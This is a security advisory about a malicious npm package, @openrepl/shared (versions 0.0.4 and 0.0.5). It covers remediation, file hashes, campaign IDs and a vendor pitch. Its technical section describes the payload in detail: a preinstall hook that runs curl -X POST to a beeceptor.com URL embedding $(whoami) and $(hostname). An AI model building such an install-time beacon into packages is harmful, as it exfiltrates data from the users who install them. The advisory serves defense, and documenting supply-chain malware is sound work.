Which versions of @openrepl/shared are malicious?

The following npm versions of @openrepl/shared are flagged malicious: 0.0.4, 0.0.5. Treat any of these as compromised.

How do I remediate @openrepl/shared if I installed it?

@openrepl/shared is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @openrepl/shared — how do I know if it already compromised me?

If @openrepl/shared was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @openrepl/shared part of a known attack campaign?

Yes — @openrepl/shared is associated with the IN-MAL-2026-017965, IN-MAL-2026-017966 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @openrepl/shared across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @openrepl/shared (2 malicious versions).

Malicious package

@openrepl/sharednpm

Advisory published Aug 15, 2026Updated Aug 15, 2026

@openrepl/shared is a confirmed malicious npm package (MAL-2026-14057) that steals credentials and exfiltrates sensitive data (malicious versions 0.0.4, 0.0.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @openrepl/shared (npm)

MAL-2026-14057

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @openrepl/shared

What this malware does

package.json declares a preinstall hook (node index.js) that runs automatically on npm install. index.js shells out via child_process to execute curl -X POST against https://youjoex.free.beeceptor.com/$(whoami)/$(hostname), embedding the installer's OS username and hostname (captured via command substitution) in the URL path. beeceptor.com is a public request-inspection service commonly used as a low-effort exfiltration sink. The package advertises no functionality that would justify this network beacon and ships no other library code consistent with its shared name.

Malicious versions

2 flagged

0.0.40.0.5

Indicators of compromise (SHA-256)

2fcd297122e7aac00cd0d3d92fcb5f1fc00b6c558571a037b5447eb64bd443b8

aabd8862a4910812bd95dde0681670548ea04386d70674032057229927497e12

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for @openrepl/shared (2 malicious versions).
If you installed it — respond
@openrepl/shared is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @openrepl/shared was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @openrepl/shared on npm has been identified as a malicious package (versions 0.0.4, 0.0.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017965IN-MAL-2026-017966

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @openrepl/shared-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database